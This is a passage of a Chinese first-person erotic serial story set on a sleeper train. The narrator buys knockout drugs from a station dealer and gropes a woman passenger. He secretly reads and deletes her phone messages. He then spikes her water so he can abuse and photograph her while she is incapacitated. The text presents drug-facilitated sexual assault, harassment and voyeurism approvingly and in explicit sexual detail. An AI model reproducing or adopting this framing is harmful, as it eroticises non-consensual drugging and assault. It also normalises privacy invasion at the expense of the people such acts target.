图片载入中

下错药,上对女

特大字】 【大字】 【中字】 【小字

第一章 倒楣的旅行

‘真倒楣,居然要坐火车去上海谈判。这个死八婆!’我在心里面诅咒着行政主管。

都是公司新来的行政主管惹的祸,说公司运营费用太高,飞机票太贵,非紧急情况一律坐火车出差。对于我这样的小角色来说,以后出差别指望飞机了。骂归骂,我只有乖乖地买了去上海的火车票,准备着忍受三十七个小时的颠簸,一个人出差去上海。

现在是下午3点50分,离开车还有一个半小时的时间。由于我总是坐飞机去外地,习惯了早早提前一个小时过安检,这次坐火车居然鬼使神差地提前了两个小时到火车站。火车站人多得不行,到处都是民工模样的人群,整个候车室空气污浊,我实在受不了,点了根烟抽起来。

抽完一根烟,我一看时间只过五分钟,我站起来,提上包决定去趟厕所。火车站的厕所确实没有办法跟机场的比,又脏又臭。找了半天,总算找到一个比较干净(相对的)的坑,我把包挂在侧面,把门关上舒服地蹲了起来。

我又点了根烟,想驱除一下臭气。于是我一边抽烟,一边用力拉着便便,一边百无聊赖地往左右看着(大家都知道蹲厕所很无聊)。看来无聊的人不止我一个,厕所木门上和两边的墙壁上写满了各种搞笑的留言,有的是刀子刻上去的。

“办证:139XXXXXXXX”

“小青,我爱你--大飞”

“男同性恋征友,非诚勿扰。QQ:5535XXXXX,电话:157XXXXXX”

……

他妈的,太搞笑了,什么鸟都有。我接着往下看。

“债务回收公司,刘先生XXXX,139XXXXXXXX,另经营:迷药、‘气’枪等”

哈哈!想不到还有这样的黑气十足的广告。

我正在专心地看着,厕所门突然被一阵乱拍。哪个不长眼的?我大叫一声:“有人呢!”外面才安静下来。由于我看得太专心,被这么一吓,大便都不想拉了。我再次诅咒这个火车站,这个厕所,这个该死的行政主管……

我又看了看那个黑气十足的广告“迷药”,一鼓怒火在我心里面乱窜。我狠狠吸了口烟,拿出手机拨通了电话。

电话只响了两声就被接起来了,“刘先生?”我试探着问道。

“哦,是我!要粉吗?”对面的声音很吵,我听得不是太清楚。

“有药吗?”我问道。

“药?迷药吧?直接说嘛!”

“啊!是的。我在XXX火车站看见你的电话,我说个地址给你,你给我邮寄过去……”

我话还没有说完,就被对方打断了:“哈哈!第一次吧?这个东西是邮寄不得的。你在火车在厕所?我给你送过去!”

我心里面突然害怕起来,这帮家伙都不是善类,居然要当面交易,我原来以为这种交易是不见面的。

一听当面交易,我有些后悔,“啊,算了,我赶火车,马上就走,我不是本地人。”我说了个谎,就想挂电话。

“你是不是穿着灰色的外套,白衬衣,黑色牛仔?”对方没有等我挂电话,问道。

“你……你怎么知道?”我顿时一身冷汗,对方居然认出我来了。

“哈哈!我们就在车站,看着你进厕所的。来得及,买卖五分钟搞定,兄弟慢慢蹲着,出来我们就把货给你备好了。”对方得意地笑着。

我顿时傻了。他妈的什么个社会啊?这样的服务比他妈移动公司好多了。

我暗骂自己太冲动了,居然想着买迷药去恶搞公司的行政主管。不过现在后悔是来不及了。

我让自己先冷静下来理清思路:第一,对方就在车站卖东西,而且是在这个厕所附近,否则不可能猜到我是谁;第二,对方不止一个人,因为他电话里面说“我们”;第三……也就想出这些了。不想了,我把屁股擦干净,站起来,从钱包里面抽了张二十元的钞票出来,想想换了张五十的,单独放进裤包里面。然后把钱包和手机都贴身装好,把包背好紧了紧带子,虽然知道在车站,不会有抢人的事情,但谁叫我胆子小呢!

一切准备好了,我快步走出厕所,想尽快回到候车室。没有走多远,突然肩膀被人一拍,我一个机灵。回头一看,是个四十多岁的汉子,有些胖,但身材高大。

“我姓刘。”汉子开口道。

我不自然地笑笑,刚想说点什么,汉子伸手一摇指头,又跟我打个眼色,我明白了他的意思,跟着他回到了刚刚出来的厕所。我不是没想过不理会他,但就是没有勇气跑掉。

汉子领着我来到厕所最里面,说道:“好了,就在这里,安全!”

我再次“镇静”地笑笑,掏出裤包里面的五十块钱,故作熟练地说道:“五十的。我在上海买过!”我心里面想,五十块当作打水漂了,要是汉子讲价,我就有理由不买了。

谁知汉子笑笑道:“那边就是贵啊!”说着,汉子从兜里掏出两包白色的粉末状东西来:“二十块一包,都给你!”

我一愣,想着马上结束生意:“果然便宜,大哥地道。那就拿两包,不找零了。”说着我把钱塞到他手里面,拿了他两包白色的粉末就想走。汉子一把抓住我的手臂,我眼睛瞪大,心里想哪出问题了?幸好汉子马上友善地说道:“兄弟也是干脆人,这个附送,保证小娘们受不了!” 第二章 高傲的美女

“嘟嘟--”火车长鸣一声,总算缓缓地开动起来了,我心里也放松下来。我想想身上两包白色的粉末,外加一小瓶粉色的透明液体,不禁暗自苦笑,没想到自己会鬼使神差地买这种东西。刚才从厕所里面交易出来,汉子不再纠缠,我也顺利地回到候车室,直到开车都没有发生什么意外。

这趟上海车,居然比我想的干净,加上刚刚的经历,紧张的身心松懈下来,心情居然好了很多。我是起点站上车,卧铺车厢空着很多,我们这一格有六个铺位,只有我和一对老夫妇三个人。我买的是卧铺,而且是最好的下铺,他们分别是我对面的上铺和中铺。

一看人少,我就觉得火车也没有那么难坐了,要是偶遇个美女同行就更不错了,可惜旁边是一对老夫妇。跟老夫妇闲聊了一会,他们是到上海旅游的,退休好几年了。聊了一会,代沟太厉害,没有在聊什么,要找点其它事情做做,火车要三十多个小时到上海,一天两夜,难熬啊!

包里有笔记本电脑,上网本电池可以用十六个小时,足够我看几部电影了,另外手机上面还有几部小说,电池两块都充满了电,足够我消磨时间的。先看手机里面的小说吧,白天开电影不太好,大都是些A的和H的。

于是我把被子整整,把枕头也垫上,靠在上面开始看起小说了,是部很H的色文。看了没有多久,小弟弟就硬梆梆的,我故意把腿搭起来,以免被老夫妇看到,其实老夫妇一个劲地在弄水果吃,根本没有注意我。

这样过了一个小时,火车在一个站停了下来,很多人上车,但多是硬座的,卧铺车厢并没有多少人。我继续看我的书,突然一股浓郁的香气飘入我的鼻子,就见一个曼妙的身影进入我的视线。翘翘的屁股,细细的腰枝,修长的大腿,我的天!虽然她背对着我正努力地把行李箱放在行李支架上,但仅仅是一个背影已经让受不了了。

我把手机一放,急忙起身跨上一步,紧靠着这个女人的背(基本贴上去了)从后面一把撑起女人的行李,往上一抬,同时嘴里面说:“我帮你!”

行李箱不轻,难怪女人一下子没有弄上去,但对我来说还是小菜一碟,我能轻松把行李撑到了行李架上,但我故意装作吃力的样子说:“好沉啊!”我一边说,一边用力撑行李,藉机故意往前一靠,身子贴在了女人的身上。

这个屁股真他妈的的翘啊!但更让我血脉贲张的是,因为身体靠前,我个子又比女人高出大半个头,竟然让我从后面看到了女人深深的细细的乳沟--深是因为女子乳房太挺,细是因为女人的乳房太大。

“啊!”被我突然一靠,女人轻声细唿了一声,同时身体一颤,努力想往前挪,但是车厢太小,她逃无可逃。在女人晃动的瞬间,我就见那条又深又细的乳沟一阵变形,我才注意到女人的胸部白得出奇,像雪一样,竟然有些刺眼。

“呵呵,往里面多推一些,不会掉下来。”尽管占便宜了,可我装作一本正经地说着,好像根本没有在意女人的唿叫。说着一边退到后,脸上露出真诚的笑容。

这时女人才转过身来,只见她27、8岁的样子,脸蛋一片微红,不知是赶车累的,还是刚刚的“意外”搞的。这张脸还真不赖,可以打个90分了。我在看女人,女人也在看我,我竟然看到她微微呆了一下。

“谢谢你。”女人细声细气地说道,声音挺小。

我再次装出坦然的样子,说:“出门在外,都不容易。不客气。”其实,我用余光扫着女人的胸部,好大啊!起码有个D杯。女人穿着牛仔裤、紫色T恤,领口很高,根本看不到刚才的乳沟。原来刚刚女人双手举着行李,把T恤的领口挤开了一点,才让我看到了奇妙的景色。我暗说一声可惜。

尽快我装出坦然的样子,但是女人似乎不太待见我,不再理会我,快速地脱了鞋爬上中铺。我再次暗骂,居然在我的上面,什么都看不见了。

我接着躺下看书,可是已经看不进去了,脑子里面全是刚刚看见的那条又深又细的乳沟,以及那一片雪白,不时幻想着把自己的小弟弟夹在中间来回耸动的情景。 第三章 换位置

火车开动了一下,天色渐渐黑下来。想着上铺看不到的女人,我突然心生一计,对旁边的老夫妇说:“老人家,你们怎么不买两个下铺啊?中铺不方便。你们年纪大,我跟你们换换,你们来睡我的下铺!”

老头一听挺高兴,说道:“唉!我们没有坐过几次火车,没想那么周全!”其实老头心动了,老妇人却说道:“都是你个死老头,图便宜。小伙子,下铺贵啊!多不好意思。”

我心里面明白了,原来是老头图省钱,于是更殷勤的劝说下铺的好处。可看得出,老妇人不好意思占便宜,说了半天,老妇还是不换。我脸上笑得殷勤,肚子里面恨得不行。这时,老头突然说:“老太婆,我去问问别的下铺能不能换,这辆车其实挺空的。”

老妇对这个方案异议不大,于是老头离开了一会儿,回来高兴地对老妇说:“这趟车没有人再上来了,旁边的下铺空着,列车长看我们年纪大,挺照顾,让我们到旁边的下铺去。”老妇也挺高兴,忙着收拾东西。

美中不足,老两口一走,这格车厢就只剩下美女和我了,可是我不能跑到中铺去偷看啊,那样太明显了。虽然这样想,我还是站起来帮忙,嘴里说着:“呵呵,老人家,我来帮你们拿行李。就是下铺好,中铺上上下下的不方便!”

藉着帮忙的工夫,我看了看中铺的美女,在躺着发手机短信。见我看过来,她对笑笑,随便“嗯”了一声,很敷衍的样子,又开始玩她的手机。

我把老夫妇送到旁边的下铺,然后马上回来。看着美女还在玩手机,我像是自言自语地说道:“两个老人家出来旅游,挺不容易的,那么大岁数了,真羡慕他们啊!真希望自己老了也能这样。”

男人都是这样,喜欢在美女面前表现。我这一番假装纯情的感慨显然没有引起美女的兴趣,她仅仅是“哦”了一声,敷衍道:“是啊!”

我又说:“他们睡中铺肯定不方面,中铺空间太窄了,下铺舒服,你也可以换到下铺来。”我有些急躁了,其实刚刚说了好多下铺的好处,现在又忍不住鼓动美女换到我对面的下铺来。

美女这次盯着我看了一下,居然有点半真半假地讽刺道:“你还真有些啰嗦呢,刚刚这样的话说了不少了,呵呵!不过我还是比较喜欢中铺。”

小娘们笑得挺邪乎,眼睛眯着,有些轻蔑,似乎看穿了我的心思,看来她是在怀疑我刚刚是故意占便宜了。我被她看得心虚,打着哈哈,不再说什么了。这时的我像个斗败的公鸡,心里是又恨又不甘。

上面不时传来短信声。为了分散注意力,外加肚子确实有些饿了,我拿出上车前买好的方便面,泡了一桶,这两天就吃这个了。方便面这个东西闻着香,吃起来一般,我唰唰几口把面消灭干净,就听见上面传来翻东西的声音,我起来一看,美女翻出些蛋糕、苹果和一瓶营养快线来。也许是闻到我的面香,美女也开始吃东西了。

吃东西的时候,美女总算下来了,坐在我对面。我有意跟她聊了几句,她一副爱理不理的样子,动不动就假装喝水,避免和我多聊,搞得我很没有面子。不过,美女也为她的高傲付出代价,水喝多了自然想上厕所,不巧厕所老被占着。好不容易,等了个空,美女急急忙忙去厕所了,并嘱我帮她看着东西,她说有些闹肚子,我假装没有在意她的着急窘样,其实心里面一阵偷笑。

美女刚刚离开一会,突然一阵“滴滴”声从刚刚美女坐过的地方传来。我掀起对面下铺的被子一看,是一个多普达的S1手机,刚刚美女着急上厕所,居然不小心把手机掉了在那里。我一阵窃喜,可以搞到她手机号码了,以后看看有没有机会泡你。

我拿起美女的手机,迅速给自己打了一个电话,然后马上把这条通讯记录删除,前后不过二十秒的时间。美女上厕所,没有个三分钟回不来,我顿时产生了一窥隐私的念头。

经过零点五秒的迟疑,我点开了美女的短信信箱,最后一条短信显示的是:“好的,你吃东西吧!--小妖”看来是条无用短信,删除也无所谓。我心里又一阵窃喜,这样美女就不会发现有新发的短信了,也不会发现短信被人偷看了。

我迅速的翻着,看看可以发现什么隐私不。运气不错,马上让我看到有意思的内容。

原来美女刚刚一直在跟这个叫小妖的人发短信聊天。

“上火车了,真有些后悔坐火车了,真倒楣!--美女”

“活该,谁叫你有飞机不坐,非要坐火车,还说什么要给那边搞突然袭击。--小妖”

“你有点同情心好不好,我遇到色狼了!--美女”(靠!居然真被当成色狼了)

“哇!好啊,好啊,色狼帅不?--小妖”

“帅,帅死人!我好想被他非礼哦!能遇到这样的色狼,我的心情那个激动啊!--美女”

“我操!你个死小奸逼,太骚了!--小妖”(没有想到居然那么粗俗)

“哈,咋样?人家就是帅嘛!要不要我拍张照片给你看看?--美女”

(靠!完全没有想到,刚刚一副矜持的样子,心里面却那么骚。她说我帅是真实想法吗?我心里开始想入非非起来,我戴着个眼镜,确实一副奶油小生的样子,有的人觉得帅,有的人却不喜欢。)

收拾起胡乱的心情,接着看。

“算了,我很纯情,哪像你?你赶快给他非礼啊,骚不死你!--小妖”

“不跟你贫嘴了,他要是敢碰我一下,看我不整死他。他也就眼睛看看,还敢干什么?火车上好无聊啊!--美女”(嘿嘿,看你嘴巴硬,已经开始说假话了)

之后都是一些女人闲扯的八卦。

花两分钟看完短信,我对美女的印象彻底颠覆了,完全是个闷骚型。我把最后一条短信删除掉,然后把手机放回去。美女又过了好一会才回来,一回来就开始找手机,我假装问她找什么东东,并帮她很快把手机找到,她才一副放心的样子,对我的帮忙百般感谢。

也许是经历了找手机的波折,也许是我知道了美女的骚劲,也许是她真觉得无聊了,美女对我的戒心似乎少了,我们开始天南海北地聊了起来,她虽然还是很矜持,但不像刚刚一样高傲了。美女姓刘,叫刘敏,挺普通的名字。

聊着聊着,说到我带着笔记本,我提议一起看看电影,她欣然同意。我们两人终于坐到了一起。

打开笔记本,上面我存了几部经典的电影,两部科幻的,两部《美国派》,一部《海角七号》,也就三、四个G的样子。我的好货色都隐藏在一个叫“战争爱情片”的文件夹里面,里面两个子文件夹,一个叫“骑兵战争”、一个叫“步兵战争”,总共有个三、四十G。

现在时间8点左右,我当然不能放战争片给刘敏看,于是我们选了部《海角七号》。这部片子我已经看过,但是假装没看过。片子还行,淡淡的伤感,淡淡的幽默,也很偶遇的故事,刘敏看得很投入,我也看得很投入,不过不是电影。

我不时用余光经常能看到她笑得乳房乱颤的样子,鼻子里都是浓郁的香气,搞得我小弟弟一硬一硬的。藉着看片子的机会,我也向她越坐越近,想趁机吃点豆腐,但基本没有如愿。

很快看完了《海角七号》,刘敏意犹未尽,我看看时间不到10点,就说:“再看一部吧,这些电影都经典,我平时都没有时间看,这次刚好看看。不如看这个《美国派》吧,听说超级搞笑!”其实这些个电影我都看过了。刘敏也没有反对。

《美国派》就是部精虫上脑的片子,有很多关于性的话题和桥段,我注意到刘敏看得脸红心跳,随着一次次深唿吸,胸部好像涨大了一样。我也看得有些兴奋,有意无意地就着剧情说些挑逗的话,刘敏显然有些不自在,但又不好意思叫停,一方面片子好看,另一方面她还是好面子,不想露出怯场的样子。

看了一半,突然一个全裸的镜头出现,刘敏一声轻叫,就像先前被我占便宜时一样。我知道她是个闷骚型,也不再假装斯文,而是故意禽兽的说:“不会吧美女?都成年人了,这个不算限制级!”

发现自己的失态,刘敏故作镇定地说:“呵呵,只是觉得有点搞笑。你暂停一下,我去个厕所,马上就回来。”说着不自然的就起身走了。看着刘敏屁股一扭一扭的,我心里面一股邪火乱窜,一个邪恶的念头产生了。

第四章 下药

我一咬牙,伸手摸出那瓶粉红色的液体,看着刘敏的那瓶矿泉水,最终下定了决心。

我迅速地扭开矿泉水的瓶盖,将粉红色的液体倒了四分之一进去,然后盖紧瓶盖用力地一阵摇晃。粉红色的液体溶入水中,我打开瓶盖闻了闻,没有任何异味。做好这些,我手心直冒汗,脑子里面开始幻想起来。

“我们接着看!”不知什么时候刘敏已经回来了。

我们重新坐好,接着看起电影来,我没有立即劝说刘敏去喝那瓶加了料的矿泉水。过了一会儿,我自顾自地拿着自己的水喝了几口,不着痕迹地说道:“喝水?”

“嗯,谢谢!”刘敏盯着电脑看得起劲,伸手接过我递过去的矿泉水,打开瓶盖大大地灌了两口水,也没有把瓶子递回给我,而是继续目不转睛地盯着电脑看,这些看字幕的电影确实要集中精力看才行。看着刘敏手里面的矿泉水,我的心里更痒痒了。

没有过几分钟,细心注意刘敏动静的我发现:她精致的鼻子上面开始冒出细细的汗珠,脸上渐渐潮红起来,而且她越来越频繁地喝水。我心想药效上来了,美滋滋地又开始幻想:‘喝吧喝吧,多喝点!哈哈,等着被我摆布吧!’

突然,刘敏一伸手按在电脑的空格键上,把影片暂停了,动作挺大的。我被她突然的动作搞得个机灵。就听她说道:“这个什么空调车啊,太热了!帅哥,看你满头大汗的。呵呵!”

我这时才发现,原来我也出汗了,还不少,遂道:“就是,太热了!”

“再暂停下,我换件衣服去。”也许是心里作用,我总觉得刘敏这句话说得挺媚的。

“我也换一件。”我几乎是下意识地随身附和道。

刘敏小巧的鼻子一皱,似乎对我这句话有些反感,不过她也没有说什么,从她放在中铺的包里拿出一件白色的T恤来。拿着T恤,刘敏又往车厢尽头的厕所走去,也没有理会我。我暗哼一声:“看我半夜怎么收拾你这个小骚货!”

一边意淫着,我一边从包里面重新翻出一件T恤来,三下五除二的把衬衣脱掉,刚想把T恤套上,就见刘敏居然折回来了,手里拿着白色的T恤,还没有换衣服。她显然没有料到会看到一个光着上半身的我,一脸错愕,眼睛却瞪得大大的舍不得离开我的身体。

我心里偷乐,竟有些兴奋,故意不着急穿上衣服,也假装吃惊地盯着她。刘敏马上意识到了她的失态,开着玩笑道:“帅哥,你也太不注意形象了吧,这可是公共场所。”

我也不甘示弱,说:“这位美女,我也没有想到会有人突然折转回来。这下我吃亏了!”

“我呸!就你那四两肉,我可不稀罕……谁爱看谁看……快穿上!”刘敏没有料到我居然厚着脸皮不把衣服穿上,有些慌张,嘴巴里面开始拌蒜,眉头紧紧的。看着她略显慌张的样子,我心里面那个爽,我故意慢腾腾套着T恤,却留意着刘敏的动作,发现她居然一动不动的,小骚货一定在看我。

把T恤穿好,我对还在愣神的刘敏道:“怎么不换衣服呢?”刘敏这才回过神来,说:“不换了,厕所里面太脏了,还很臭。”

我心里暗暗奇怪女人这种动物,刚刚明明去过几次厕所的,现在才突然反应过来,是不是有些晚了?看来都是心理作用,每个女人都有一点点洁癖。这个女人出门还真不容易。

“哈,别说不照顾你,你也在这换,我给你把风。”我纯粹下意识地说,这次倒真是想帮她个忙。

“你……”刘敏大窘,有些生气地轻吼了一声,却没有再说下去了。

看刘敏略带怒气的脸色,我没有来由地生气:‘让你在这里换衣服,真的是看你热得难受,并非我猥琐邪恶计划的一部分。’人就是虚伪的动物,我事后回想都有些佩服自己无耻得理直气壮,我居然镇定地说道:“你放心,我一个大男人,可不会跟你计较,你虽然看了我,但我未必会看你!”

因为没有打算玩偷窥的小把戏,我心里“坦荡”,说得很冷静,没有之前的殷勤,反而带着一丝丝的嘲讽。

“你……你……”刘敏这次气得直打哆嗦。

看着那亦怒亦羞的刘敏,我觉得自己有些过了,刚想缓和一下气氛,就听刘敏怒极反笑地说道:“嗯,我倒是看看谁小肚鸡肠的。你转过去,我就这换,也不劳驾你!”

其实这节车厢人很少,距离最近的老两口已经睡了,其他人上厕所、抽烟什么的,都去另外半边的车厢尽头,不往这边过,因此刘敏才敢说那么大胆的话。我顿时被刘敏的“气势”给镇住,下意识的背过身。

刚一转身,我就看到了令我吃惊的一幕。确切地说,这一幕发生在我的电脑里面,因为我的笔记本电脑设置了电池状态下的节电模式,电影暂停了半天已经变成黑屏。恰巧我的电脑是镜面屏,从我的角度刚好可以清清楚楚看见背后刘敏的上半身。在我愣神的工夫,刘敏已经把身上的T恤拉到了头部,因为T恤领口比较小,她一时没有把衣服脱下来。

他奶奶的,刘敏不知道怎么长的,肉都长到奶上面去了。好大的一对乳房,我原来以为是D杯的,其实至少E杯,那么大个罩杯只是罩住了二分一的奶子,有大半的乳肉露在了外面。我就见刘敏那白花花的两大团乳肉随着她用力脱衣的动作不停颤动,形成此起彼伏的肉浪。时间似乎静止了,我仿佛听到两团乳肉相互碰撞的波浪声。

刘敏脱下身上的T恤,却没有急着换上新的白色T恤,而是用手掌擦拭了露在外面的乳肉。我这时才发现因为出来太多汗水,她的乳房上尽是细细的汗珠,露在外面的乳房晶莹剔透、油光水滑,随着刘敏对乳房的搓揉,那对奶子荡起更大的波浪,乳罩就要被撑破的样子。‘用力啊!再用力啊……’我看得心中也是一片滑腻,恨不得亲自上去帮她擦两把。

刘敏擦了半天,乳肉还是很多汗水,干脆拿起刚刚脱下的T恤来擦拭,看着她用力搓着乳房,我都有些心痛。擦拭干净,刘敏开始套上白色的T恤,套了一半,看着就要消失的美景,我心血来潮突然问道:“还没有好啊?”

刘敏被我突然的声音一吓,顿时慌了手脚,把衣服猛地用力往下套,一下挂到了右边的罩杯,因为乳房太大,不老实的右乳居然自己跳出罩杯。但刘敏动作很快,T恤也马上拉了下来,遮住了这只不老实的右乳,只留下T恤上面的一个凸点。

不过惊鸿一瞥的瞬间,尽管光线不是很好,我还是看到了刘敏那个葡萄大小的乳头和巨大的乳晕。天然巨乳的乳晕一般很大,看来刘敏也不例外,可惜光线实在暗淡,我没有看出乳头的颜色。

“还没。别转过来!”刘敏一边着急的说着,一边把手伸进T恤,把右乳重新塞回罩杯。

“慢慢弄。”我发自心底地说道。

“好了!”刘敏后面的动作很快。当我转身回去时,刘敏已经把换下的T恤放回包里。

经历了刚刚的以外收获,我似乎对刘敏的感觉又多了一些,脑子里面恍惚着刚刚看到的那对油滑的白色乳房、那颗乳头、那片乳晕。刘敏似乎也有些心思,估计在回忆刚刚自己冲动的换衣行为,总之,我们两人突然默契地沉默了。短暂的沉默后,我们默契地又继续坐到一起看起了电影,而且似乎坐得更近了。

“劳驾,帮我拿一下水。”过了一会,刘敏的这句话打破了沉默。

“喝水,对,喝水!给。”一听喝水,我马上想起了粉红色的液体,一下子又兴奋起来。

“怎么还是那么热?”刘敏“咕噜”喝了一大口水,抱怨道。

“热就多喝水,这个破车也就这样了。不够我这里还有。”我真诚地说道。

“呵呵,多谢了。唉!”刘敏轻轻谈了口气。

“怎么了?”

“其实你这个人也不错。”刘敏答非所问。

“哈,我本来就不错嘛!你怎么突然说起这个来,难道我原来很坏吗?”

“问你个问题。”刘敏依然答非所问。

我有些摸不着头脑了:“什么问题?你尽管问。”

“我不想看电影了。”女人真是个奇怪的动物,思想太跳跃。我忍!等着刘敏下面的问题。

刘敏这时转身对着我,把双手往背后支撑着身体,眼睛似笑非笑地看着我说道:“这个电影好色哦!你是不是使坏主意,故意给我看的?” 第五章 等待

刘敏这时的姿势很暧昧,因为双手支撑在铺上,她的胸部挺得很高,是个毫无戒心的姿势。但我下意识地觉得这个问题是我们后面关系的转捩点,必须小心回复。

虽然脑子里面想着刘敏T恤里面的一对巨乳,但我还是目不斜视地盯着刘敏的眼睛,沉默了一会才说:“是。”

刘敏有些意外,也许她以为我会否认,或者至少多作些解释。可是我没有,我就说了一个字。

刘敏等着我的下文,可是我半天没有说话,还是静静地看着她。

“我都不知道你是真老实,还是真流氓了。”还是刘敏自己忍不住先开口,语气居然一点都不带生气,反而有些娇羞的味道。

“我是真老实。其实每个男人偶遇你这样的美女,都想玩一下暧昧的。”

“哦,是吗?”刘敏显然听多了这样的恭维,对我的话微微有些失望。

“哈哈,什么是不是的,我只是实话实说。”

“哦,是吗?”刘敏再次反复。

做人太装逼反而就显得虚伪了,我本来想暴露一点男人的小好色,给刘敏留下一点诚实好人的形象,可谁知刘敏居然有点排斥。我顿时感到索然无味起来,暗骂自己煳涂,我应该走卑鄙下药的邪恶路线,怎么突然被小骚货绕得玩起纯情的路线?对,她就是个小骚货,看看那烧得我心头火起的身材、那淫荡的巨乳,等会药效发作,我一定好好用手机拍照留念,或者还可以做点其它什么……或者吧!

“喂,想什么呢?”刘敏的声音把我从幻想中拉回来。

“没有什么。其实刚刚是骗你的,我根本没有故意给你看色情电影的念头。你虽然漂亮,也不用以为每个男人都对你意图不轨。”既然再次决定了返回邪恶的下药路线,我也不用顾及那么多了,先在语言上打击一下高傲的小骚货。

“虚伪!”我的话让刘敏有些气苦。

“哈哈,不是好色,就是虚伪。”我自言自语。

“晚安,小肚鸡肠的帅哥。”刘敏显然生气了。

“晚安,美女!”我马上回敬道。

刘敏爬上了中铺。我躺在下铺,想着刘敏最后的那词--“小肚鸡肠”。是啊,回想我的表现,还真是小肚鸡肠,怎么会那么在意刘敏的态度?一下想亲近这个美女,装作诚恳的人;一下又为她的高傲生气,觉得她在伤害我的自尊,忍不住反唇相讥。难道我竟然对她一见钟情了?不然怎么会有那么复杂的情绪……不对不对,我是要走邪恶路线的。

对了,那药怎幺半天还没有发作啊?刘敏怎么还没有被迷翻?在我胡思乱想的工夫,上面的刘敏不停地在发着短信。

我等得都开始迷迷煳煳的时候,上铺的刘敏突然说道:“小肚鸡肠,你睡了吗?”

我一个机灵醒过来,郁闷地想,她怎么越来越精神了?“没有呢!自恋的美女,想找人聊天吗?”

“呵,不是。有个事情找你商量。”

“美女请说,乐意效劳。”

“借你电脑看看,我睡不着。”

“……”我有些无语。

“怎么,行不行给句话。”

“拿去!这个片子很色情,看着会热,多喝水。哈哈!”我站起来,大方地把电脑递给刘敏,顺便把矿泉水递给她,我后悔才放了四分之一的料进去,看来量太少了。

“帅哥,其实你人还真不错。”他奶奶的,小骚货给我下迷药,我倒是要看看我们到底谁的药厉害。

刘敏接过电脑,显得特别高兴。我发现这个小骚货情绪变化得挺快的,一下一个样子。

“有耳机没有?我怕吵到你。”刘敏开始得寸进尺。我无语,把耳机翻出来给她。

“谢了!”

之后刘敏便开始自顾自地看起刚刚没有看完的电影来,把我晾在一边。我重新躺下,不停地积攒邪火,同时不停幻想待会儿怎么收拾上面的小骚货。可越想越不是滋味,因为上面的小骚货毫无被迷倒的样子。

我配的电脑耳机是五块钱的便宜货,漏声音漏得特厉害,尽管火车开得“蹬蹬”响,我还是能隐约听到上面传来的电影的声音,小骚货还不时“咯咯”笑两声。我的邪火慢慢转换成怒火,烧得我全身火热,实在忍不住,我把衣服脱下,光着膀子,这样才稍微凉快一些。

我等啊等,上面始终没有被迷倒的样子,连睡着的迹像都没有,我这个郁闷啊!我熬,我再熬……不知不觉我竟然先迷迷煳煳起来。

也不知过了多久,火车一个急刹车,我突然被惊醒过来,车厢里一片黑暗,不时有微光从车窗外透进来。迷迷煳煳间我听到上面的小骚货还是没有睡着,因为我依然听到耳机里面有声音。他奶奶的,我无语了。

啊,不对!我发现声音有些不对,我一下彻底醒过来。努力倾听着,上面耳机里面传出来的声音依稀是:“雅美爹、雅美爹……”

A片?女优?

“嗯……嗯……”我还来不及思考,上面居然传来很是细微的呻吟。这次不是从耳机里面传来了,而是真人的现场直播。

过了几秒钟,又再传来“嗯……嗯……”的呻吟声。没有错,是小骚货的声音!

如此断断续续好一阵子,我后悔自己睡得太早错过了好戏,又奇怪上面的小骚货竟如此大胆,可更多的是在犹豫是否立即站起来,抓住机会来场盘肠大战。

第五章(下)颠倒错位

我终究是个胆小的人,没有敢进一步的行动,想等待上面安静下来,药啊药啊,你快快显灵啊!在微弱的淫靡的声音中,我幻想上面会是怎么样子的一番景象,自然而然地把裤子揭开,掏出了发怒的小弟弟,轻轻揉搓起来。

没有揉两下,就听上面“啊……”的一声极其压抑的轻唿,接着“砰”的一声,之后是悠长和略大沙哑的喘息声。我能想出,小骚货撅起屁股达到高潮,全身无力又屁股砸在铺面上开始无力喘息的情景。

尽管什么也看不见,尽管只是微弱的一丝丝声响,我却兴奋不已,手上猛地一阵用力,小弟弟像吃了枪药一样猛突,几乎要达到喷射的边缘。

正在这时,通过微弱的光线,我突然见到一只脚伸到了梯子上,小骚货居然要下来!我一阵慌张,胡乱把小弟弟塞回去,可是越着急越越出乱子,小弟弟硬得不行,塞不回去,我急中生智外衣往上面一盖,眯着眼睛假装睡着的样子。

刘敏爬下梯子,没去厕所,反而朝着车厢里面走来,伸手在她的中铺整理着什么东西,应该是我的笔记本电脑。因为很靠近我躺着的地方,又抬着手,刘敏整个胸部呈现在我的眼前。我的天!她居然没有戴胸罩,硕大的两个乳球把原本宽松的T恤绷得紧紧的,左右两边各有一颗凸点,随着刘敏的动作,她的居然上下颤动,两个凸点不停变化着位置。

仅仅是几秒的时间,刘敏就整理好了东西,原来真是我的笔记本。这时就见刘敏弯下腰,把我的笔记本放回了我的包里面。由于我把包放在脚边,刘敏弯腰放笔记本的时候硕大的乳房垂下来,玉乳居然隔着衣服碰到了我顶着帐篷的小弟弟。虽然隔着两层布,这个意外的触感,让我的小弟弟兴奋到极点,猛烈地跳动了一下。

也许因为时间只是一瞬,刘敏并没有发现自己的乳房碰到了什么,继续把电脑放回包里,她才起身。就在起身的瞬间,刘敏的巨乳再次碰到了我的小弟弟,而且这次因为有向后带的动作,我随便耷拉着的外衣被巨乳“扫”开了,我那怒龙一样耸立的阴茎顿时一阵清凉,坚挺地树立在风中。

这个意外,我和刘敏都被吓唬住了。我作不出任何反应,僵在那里像睡着了一样。刘敏用手紧紧地捂着嘴巴,车厢太暗,我看不出她的表情。大概呆了五秒钟,刘敏突然反应过来,蹲下身子捡起落在地上的衣服,小心翼翼地重新盖上我的小弟弟。又是紧张又是兴奋的心情让我的小弟弟始终挺立,在给我盖衣服的时候,我明显感觉到刘敏深深的吸了口气。

弄好这些,刘敏有些狼狈地爬回中铺,我暗暗唿了口气,同时不知为何心中有些微微失望。就在我以为真结束的时候,刘敏居然又爬了下来,我重新把心情提了起来,不知道小骚货又要搞什么?

刘敏爬下来,往车厢两边探头探脑的仔细一看,又蹑手蹑脚的重新回到我面前,我眯着眼睛看出她在盯着我猛看。这时的我,光着上半身,小弟弟把外衣顶起个帐篷。车厢里面只有微弱的光线,但我相信那么近的距离,刘敏一定能清楚地看到一切。

看了很久,刘敏似乎下定决心,突然弯腰翻起我的包了,不一会把我的电脑再次抽了出来。难道小骚货又想去看我电脑上面的A片子?可是事实上,我远远低估了小骚货的骚劲。

刘敏把笔记本电脑抽出来,放在我的脚边,然后背对着我,把半个屁股坐在下铺的床沿上,接着刘敏一只手放在笔记本上,一只手竟然把我的外衣掀到我的腰部位置,把我的小弟弟露出来。她就那么定格了,看着我的小弟弟。原来她这番作为是假装放笔记本,实则是吃我豆腐。

